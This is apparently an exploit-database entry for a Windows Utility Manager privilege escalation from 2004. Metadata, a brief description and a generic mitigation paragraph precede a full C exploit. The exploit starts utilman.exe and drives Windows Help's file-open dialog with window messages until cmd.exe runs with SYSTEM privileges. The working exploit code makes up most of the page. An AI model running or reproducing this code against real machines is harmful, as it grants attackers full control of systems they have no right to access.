Local elevation of privileges exploit for Windows Utility Manager

vendor:

Windows Utility Manager

by:

Cesar Cerrudo

7.5

CVSS

HIGH

Elevation of Privileges

269

CWE

Product Name: Windows Utility Manager

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows

Local elevation of privileges exploit for Windows Utility Manager

This exploit allows for local elevation of privileges on Windows Utility Manager, providing a shell with system privileges. By executing specific steps, the exploit opens a file open dialog window in Windows Help and uses it to execute cmd.exe.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest security updates and patches provided by the vendor. Additionally, restricting access to the affected system and implementing the principle of least privilege can help reduce the impact of this exploit.

Source

Exploit-DB raw data:

// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// Gives you a shell with system privileges
// If you have problems try changing Sleep() values.

#include <stdio.h> 
#include <windows.h> 
#include <commctrl.h>
#include <Winuser.h>

int main(int argc, char *argv[]) 
{ 
  HWND lHandle, lHandle2;
  POINT point;

  char sText[]="%windir%\\system32\\cmd.ex?";

  // run utility manager
  system("utilman.exe /start");
  Sleep(500);

  // execute contextual help
  SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  Sleep(500);

  // open file open dialog windown in Windows Help
  PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  Sleep(500);

  // find open file dialog window
  lHandle = FindWindow("#32770","Open");

  // get input box handle
  lHandle2 = GetDlgItem(lHandle, 0x47C);
  Sleep(500);

  // set text to filter listview to display only cmd.exe
  SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  Sleep(800);

  // send return
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

  //get navigation bar handle
  lHandle2 = GetDlgItem(lHandle, 0x4A0);
  //send tab
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  Sleep(500);
  lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  //get list view handle
  lHandle2 = GetDlgItem(lHandle2, 0x1);

  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  Sleep(500);
  
  // popup context menu
  PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  Sleep(1000);

  // get context menu handle
  point.x =10; point.y =30;
  lHandle2=WindowFromPoint(point);

  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

  SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window

  return(0);
}




// milw0rm.com [2004-04-15]